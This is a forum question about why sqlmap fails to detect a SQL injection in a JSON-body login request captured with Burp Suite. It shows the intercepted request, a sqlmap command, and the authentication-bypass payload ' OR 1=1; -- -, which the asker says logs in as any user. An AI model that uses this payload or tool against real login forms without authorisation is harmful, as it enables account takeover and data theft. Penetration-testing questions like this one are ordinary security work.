title: SQLMAP - Post JSON data as body
body: <p>Hi I'm trying to do a SQL injection in a login form.</p>
  
  <p>With BurpSuite I intercept the request:</p>
  
  <pre><code>POST /xxxx/web/Login HTTP/1.1
  Host: 10.0.0.70:42020
  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0
  Accept: application/json, text/plain, */*
  Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
  Accept-Encoding: gzip, deflate
  Content-Type: application/json
  Referer: http://xxxxxx.com/xxxxxx/
  Content-Length: 44
  origin: http://xxxxx.com
  Connection: close
  
  {"username”:"user",”password”:"pass"}
  </code></pre>
  
  <p>using:</p>
  
  <pre><code>sqlmap -u requestFile
  </code></pre>
  
  <p>(where requestFile is the content of the request intercepted with Burp)</p>
  
  <p>sqlmap can't find the injectable field that is password.</p>
  
  <p>I'm sure that's it's injectable cause if as password I input:</p>
  
  <pre><code>' OR 1=1; -- -
  </code></pre>
  
  <p>I can login with every username I insert</p>
  
  <p>Tried also with:</p>
  
  <pre><code>{"username”:*,”password”:*}
  </code></pre>
  
  <p>but no luck.</p>
  
  <p>What I'm doing wrong?</p>